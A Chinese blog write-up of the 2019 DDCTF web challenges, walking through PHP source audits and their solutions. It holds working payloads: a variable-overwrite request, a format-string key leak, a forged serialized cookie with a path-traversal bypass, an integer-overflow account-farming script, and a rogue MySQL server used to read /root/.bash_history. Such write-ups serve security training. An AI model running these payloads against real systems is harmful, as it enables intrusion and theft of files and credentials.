Xi4or0uji's blog

2019 DDCTF web writeup

字数统计: 1.8k阅读时长: 9 min
2019/04/19 Share

这一届的比赛web题虽然脑洞略大,但是还是有很多收获的,记录一下

一题大脑洞题……首先进去题目看到参数jpg后面有段字符串,很像base64

尝试一下base64解密,又出来一段base64,再解密一次是十六进制,转成字符串是flag.jpg

在这里我们可以猜测一下后台可能会读文件出来,我们倒序加密一下index.php去请求看一下回应
确实可以拿出index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

这里就开始第一个大脑洞了……我们看一下源码开头注释的那篇博客

可以看到这里有个文件名,访问一下会看到一个文件名

注意一下index.php里面的正则,我们要加密的字符串是这个f1agconfigddctf.php
我们读取一下这个文件的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>

剩下的就是变量覆盖漏洞了?uid=&k=

签到题

index.js可以看到一些验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

访问http://117.51.158.44/app/Auth.php同时加上didictf_username的头部,值为admin就能拿到源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
Application.php
class Application
{
var $path = '';

public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

Session.php
include 'Application.php';
class Session extends Application
{
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}

审计源码可以看到

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以看到这里有个sprintf函数,同时值可控,这里是个格式化字符串漏洞,我们可以传个admin%s去把key拿出来,是EzblrbNS
再接下来就是反序列化的利用了,注意一下路径是flag.txt,也要记得绕一下waf,payload

1
2
3
4
5
$app = new Application();
echo serialize($app);
$session = "O:11:\"Application\":1:{s:4:\"path\";s:21:\"....//config/flag.txt\";}77cd55a8d29df4f005f85e536d876525";
$key = "EzblrbNS";
echo md5($key.$session);

upload img

考gd库对于图片的渲染漏洞,参考:https://xz.aliyun.com/t/416

大吉大利 今晚吃鸡

考了整数溢出和脚本,下单和付款不是同一个整数类型,溢出让票价变小,然后就是大号打小号了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
import requests,base64,time
def main():

cookie1 = {
"user_name": "xiaorouji",
"REVEL_SESSION": "8675885b988d1b153da635cef40710bb"
}

for i in xrange(3270,9000):
# print i
register_url = "http://117.51.147.155:5050/ctf/api/register?name={}&password=111111111".format(i)
register = requests.get(url=register_url).content

login_url = "http://117.51.147.155:5050//ctf/api/login?name={}&password=111111111".format(i)
login = requests.get(url=login_url).headers

if len(str(login))>200:
print "[+]---------------------------------------"
session = str(login).split("=")[3][:32]
cookie = {
"user_name": str(i),
"REVEL_SESSION": session
}
ticket_url = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297"
ticket = requests.get(url=ticket_url,cookies=cookie).content
bill_id = ticket[32:68]

pay_url = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}".format(bill_id)
pay = requests.get(url=pay_url,cookies=cookie).content
pay = str(pay)
if "hash_val" in pay:
robot_token = pay.split(":")[3][1:33]
robot_id = pay.split(":")[4]
robot_id = str(robot_id).split(",")[0]
if "your_id" in pay:
robot_token = pay.split(":")[4][1:33]
robot_id = pay.split(":")[3]
robot_id = str(robot_id).split(",")[0]

remove_url = "http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}".format(robot_id,robot_token)
remove = requests.get(url=remove_url,cookies=cookie1).content

flag_url = "http://117.51.147.155:5050/ctf/api/get_flag"
flag = requests.get(url=flag_url,cookies=cookie1).content
print "token: " + robot_token + " " + "id: " + robot_id
print flag
if str(flag)[20:21] == "0":
break

if __name__ == '__main__':
main()

mysql弱口令

这题利用mysql loal data infile的漏洞去进行任意文件读取,改下GitHub的脚本和agent.py就能拿到flag了
https://github.com/Gifts/Rogue-MySql-Server
通过读/root/.bash_history文件可以读到flag目录:/var/lib/mysql/security/flag.ibd
但是有个坑点,agent.py要改一下才能跑起来,题目其实不难,基础不牢,没能改成功agent.py,比赛没做出来是在遗憾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):
request_path = self.path

print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("UA :", self.headers.getheaders('user-agent'))
print("self.headers :", self.headers)
print("<----- Request End -----\n")

self.send_response(404)
self.send_header("Set-Cookie", "foo=flag")
self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))


def do_POST(self):
request_path = self.path

# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)

request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0

# print("length :", length)

print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")

self.send_response(404)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()

ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result

do_PUT = do_POST
do_DELETE = do_GET


def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()


if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()

main()

CATALOG
  1. 1.
  2. 2. 签到题
  3. 3. upload img
  4. 4. 大吉大利 今晚吃鸡
  5. 5. mysql弱口令